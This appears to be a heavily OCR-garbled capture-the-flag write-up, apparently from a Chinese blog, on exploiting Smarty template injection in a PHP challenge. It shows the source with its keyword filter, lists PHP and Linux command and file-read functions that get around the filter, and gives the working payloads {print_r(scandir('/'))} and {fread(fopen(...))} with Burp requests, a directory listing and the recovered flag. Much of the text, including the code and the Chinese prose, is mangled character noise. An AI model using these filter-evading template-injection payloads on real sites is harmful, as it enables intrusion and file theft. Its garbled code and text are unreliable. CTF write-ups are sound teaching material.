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pass a parameter and maybe the flag file's filename is random :> <zphp
include (. flibs/Smarty. class. php' J;
echo  “pass a parameter and maybe the flag file's filenmame is random :>7;
Jsmarty = new Smarty();
if (5_GET){

highlight file( index.php ),

foreach (3_GET AS fkey = Fvalus)

{

print  $key. \n”;

1f(preg_match(”/flag|l/flag/i”, Jvaluel) i
Gsmarty-rdisplay( . /template. html ) ;

telzeif (preg_match(”/system|readfile |gz |exec|eval |cat |assert [file|fzeta/i”, $value)) |
Fsmarty->display( . /template. html’ ) ;

Yelse{
$emarty-rdisplay(“eval :”. $walue)
)

}
Fod
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https://blog.csdn.net/weixin_58111246
https://blog.csdn.net/weixin_58111246/category_11578120.html
https://so.csdn.net/so/search/s.do?q=php&t=blog&o=vip&s=&l=&f=&viparticle=
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https://so.csdn.net/so/search/s.do?q=%25E5%2590%258E%25E7%25AB%25AF&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/weixin_58111246/article/details/122924785
https://blog.csdn.net/weixin_58111246/category_11578120.html
http://114.67.175.224:18407/?flag.txt?a=%257B4*4%257D

phpfir & HAT R EE
https://www.php.net/exec

exec — PAT—MINEREF

passthru — ATSMERREF 3 B Bon R iR H

proc_close — KM M proc_open ITHFHIBHE I HiR BI#FEIE H G
proc_open — BAT A4, FEEITIFR KRB/ S SO 4.

popen — T —AMERBEBNEE, ZHBHIIRESER command fir&HATT= 4.

proc_terminate — AFRH proc_open ITH Bt

shell_exec — @i shell FERITMHS, F E¥TEMHH LLFRF R T RIRE .

system — #ATHNERER, FHEREH

scandir 3R BEF R E R

eval — JEFRF R AEAPHPAREHAT

assert --BRFEERKENKSE DS BPHPARSHAT
linuxEEHXMFH a4

cat tac more less head tail nl static-sh paste od bzmore bzless

php3C i3 B iR 4

printr() fread() fgets() vardump()

Fiscandirgg $t £ &k Flaghi s, &F kEflagscf W&

Request

Raw | Params | Headers | Hex

/index.php?f={print_r(scandir("/"))}

Response

Raw | Hex

GET | ind=x.php?/{print_r (scandir ("/ "))}

Host: 114.67.175.224:18407

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x@4; rv:97.0) Gecko/20100101 Firefox/97.0
Acecept: text/html,application/xhtml4xml,application/xml;q=0.9, image/avif, image/webp, */ *;q=0.8
Accept-Language: zh-CM, zh;q=0.8, zh-TW;q=0.7, zh-HK; q=0.5, en-US; q=0.3,en; q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure—Requests: 1

Cache-Control: max-ags=0
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pass a parameter and maybe the flag file's filename is random :><code><span
style="color: $000000">

<span style="color: HODDODBBE">&lr;?php<br /»</spanr<span style="color:
#007700">1include (</span><span style="color:

#DDOO00">' ./ libs/Smarty.class.php' </span><span style="color: #007700">);<br
/>echo&nbsp; </span><span style="color:
#DDO000">"passenbsp; atnbsp; parameter énbsp; andsnbsp; maybeenbsp; theenbsp; £lagenb
sp:file'sénbsp:filenameinbsp; isénbsp; randominbs &gt: "</ span><span
style="color: #007700">:<br /></span><span styl olor:
#0000BB">§smartyenbsp; </span><span styls="color:
#007700">=&nbsp; nevinbsp: </ span><span style="color:
#0000BB">Smarty</span><span style="color: #007700"> () ;<br />if(</span><span
style="color: HOOODBE">§_GET</span><span style="color: ¥007700">){<hr

/»&nbsp; &nbsp; £nbsp; snbsp; </ span><span style="color:

#0000BE">highlight file</span><span style="color: #007700">(</span><span
style=rcolor: #DDODDO">'index.php'</span><span style="color: $007700">);<br
/>&nbsp; énbsp; énbsp; énbsp: foreachénbsp: (</span><span style="color:
#0O0OOBE">§_GET&nbsp;</span><span style="color: #007700">ASEnbsp;</span><span
style="color: H$OODDBE">§keyinbsp;</span><span style="color:
#007700">=cgt; enbsp; </span><span style="color: #OO00OBE">§valus</span><span
style="color: #007700">)<br />é&nbsp:&nbsp: énbsp: snbsp: { <br

p; &nbsp; enbsp; enbsp; énbsp; énbsp; énbsp; &nbsp; printenbsp; </ span><span

: H#ODODBB">f$key</span><span styl color: #007700">.</span><span

: #DDO00D">"'.n"</span><span style="color: #007700">;<br

/>&nbsp; énbsp; énbsp; énbsp; énbsp: énbsp; énbsp; &nbsp: if (</ span><span
style="color: #0000BB">preg match</span><span style="color:

#007700"> (</span><span style="color: #DDOOD0">"/flag|\/flag/i"</span><span
style="color: #007700">, &nbsp;</span><span style="color:
#0O00BB">§valus</span><span style="color: #007700">) ) (<br

/>&nbsp; énbsp; énbsp; énbsSp; énbsSp; &nbsp; &nbsp; &nbsp; énbsp; énbsp; énbsp; énbsp; <br
/>&nbsp; &énbsp; enbsp; enbsp; énbsp; &nbsp; énbsp; &nbsp; &nbsp; &nbsp; énbsp; énbsp; </sp
an><span style="color: #0000BE">§smarty</span><span style="color:
#007700">-&gt; </span><span style="color: H#OO000BE"»display</span><span
style="color: $007700"> (</span><span style="color:
#DDO000">' . /template. html' </span><span style="color: #007700">);<br /><br
J/2<hr />&nbsp; &nbsp; énbsp; énbsp; énbsp; &nbsp; &nbsp: énbsp: }elseif (</span><span
style="color: #000DBE">preg match</span><span style="color:
#007700"> (</span><span style="color: e e T -
#DDODD0">"/system| readfile| gz|exec|eval | cat|assert | £1lay etdts/ D) spais Lo

findex.php?f={var_dump(scandir("/"))}, KIMEBEERVE, _12686 XN XHRELFEHRA—FT, LHRE



Request Response
Raw | Params | Headers | Hex Raw | Hex
GET /index.php?f={var_dump|scandir ("/"))} /r&nbsp; enbsp; &nbsp; &nbsp; ENbSP; &nbsp; enbsp; &nbsp; <br

Host: 114.€7.175.224:18407
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winéd:; x€4; rv:97.0) Gecko/20l00L0L Firefox/97.0
Accept: text/html,application/xhtml+xml, application/xml;q=0.9, inage/avif, imags/ webp, */ *;q=0.8

zh-CHN, zh; q=0.8, zh-TV; ¢=0.7, zh-HK; q=0. 5, en-US; ¢=0.3, &n; ¢=0. 2
deflate

Lccept-Languages :
Accept-Encoding: gzip,
Connection: closs
Upgrade-Tnsecure-Requests: 1
Cache-Control: max-age=0

fEJR R B, /index. php?f={fread(fopen("/_12686",

40962 %, HBABE

wu vancer ~ T P
Request
Raw | Params | Headers | Hex

T

/>&nbsp; enbsp; enbsp; enbsp; }<br />}<br /»</span><span style="color:

#OO0ODBE">?&gt; </ span> &nbsp; <br /><br /></span>

<fcode>f

array(24) {
[o1=>
string(l) "."
[11=>
string(2) ".."
[21=>
string (10}
[31=>
string(é)
[41=>
string(3)
[51=>
string(4
[E]1=>
string(3)
[71=>
string(3)
[81=>
string(4
[g1=>
string(3)
[10]=>
string(s
[11]=>
string(5
[1z1=>
string(3)
[13]=>
string(3)
[14]=>
string(4
[15]=>
string(4

. dockerenv”
"_12E3E"
"bin"
"hoot"
"deur
"ete!
"home"
"libr
"1ibEa"
"media’
"ront "
"opt"

"proc'

e

),4096)}
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Response

Raw | Hex

GET /index.php?f={fread(fopen("/_L12686", "c"),4006) }

Host: 114.£7.175.224:18407
User-Agent: Mozilla/5.0 (Windows NT 10.0; Viné4; x€4; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+4xml, application/xml;q=0.9, image/avif, image/webp, */*:q=0.8

Accept-Language:
Lecept-Encoding: gzip,
Connsction: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

zh-CMN, zh: q=0.8, zh-TW:q=0.7, zh-HK: q=0.5, en-US; q=0.3, =n: ¢=0.2
deflate

5 3lflag

T
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style="color: JDD00BB">preq matche</span><span style="color:

#007700"> (</span><span style="color: §DDO000">"/flag|'/flag/i"</span><span
style="color: #007700">, &nbsp;</span><span style="color:
#0DDOBE">$value</span><span style="color: #007700">) ) {<br

/>&nbsp; énbsp; &nbsp; &nbsp; énbsp; &nbsp; énbsp; énbsp; &nbsp; énbsp; énbsp; &nbsp; <br
/>enbsp; énbsp; enbsp; snbsp; &nbsp; enbsp; énbsp; &nbsp; snbsp; énbsp; enbsp; enbsp; </ 81
an><span style="color: #0000BB">§smarty</span><span style="color:
#007700">-&gt; </span><span style="color: ¥0000BB">display</span><span
style="color: §007700">(</span><span style="color:

#DDO000">" . /template. htwl' </span><span style="color: #007700">):<br /><br
/r<br />&nbsp;:&nbsp: &nbsp; énbsp: &nbsp; énbsp; énbsp; énbsp; }elseif (</span><span
style="color: #D0D00BB">preg match</span><span style="color:

#007700"> (</span><span style="color:

#DDOD00">"/system|readfile| gz|exec|eval|cat|assert|file| fgsts/i"</span><span
style="color: #007700">, &nbsp;</span><span style="color:
#0000BE">§valus</span><span style="color: ¥007700">)){<br /><br /><br

/> &nbsp; énbsp; &nbsp: nbsp; énbsp: &nbsp; énbsp: énbsp; énbsp: énbsp; énbsp; énbsp: </ sp
an»<span style="color: HODDOBE">§smarty</spanr<span style="color:
#007700">-&gt; </span><span style="color: ¥0000BB">display</span><span
style="color: HO07700">(</span><span style="color:

#DDODOO">' ./template. html' </span><span style="color:

#007700">) ; &nbsp; énbsp; &nbsp; énbsp; énbsp; &nbsp; énbsp; énbsp; &nbsp; énbsp; énbsp; &
nbsp; <br

/>&nbsp; énbsp; enbsp; &nbsp; énbsp; enbsp; &nbsp; énbsp; &nbsp; énbsp; enbsp; enbsp; <br
/> &nbsp; énbsp; &nbsp: &nbsp; énbsp: &nbsp; énbsp: énbsp: belse{<br

/>&nbsp; énbsp; &nbsp; snbsp; énbsp; &nbsp; énbsp; énbsp; &nbsp; énbsp; énbsp; &nhsp: </ sp
an»<span style="color: HODDOBE">§smarty</spanr<span style="color:
#007700">-&gt; </span><span style="color: ¥0000BB">display</span><span
style="color: §007700">(</span><span style="color:
#DDO000">"eval: "</span><span style="color: #007700">.</span><span
style="color: ¥ODDOBB">$valus</span><span style="color: ¥007700">);<br
/>anbsp; enbsp; enbsp; anbsp: énbsp; enbsp; &nbsp; eénbsp: | <br

/>enbsp; énbsp; snbsp; snbsp; &nbsp; enbsp; énbsp; &nbsp; <br

/> &nbsp; énbsp; &nbsp: &nbsp: }<br />)<br /></spanr<span style="color:
#0000BE">?&gt; </span>snbsp; <br /><br /></span>
</code>f
flagldd55he4=40a694b142408d473069dB13 )
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https://blog.csdn.net/qq_57739390/article/details/118957784
https://zhuanlan.zhihu.com/p/401583380
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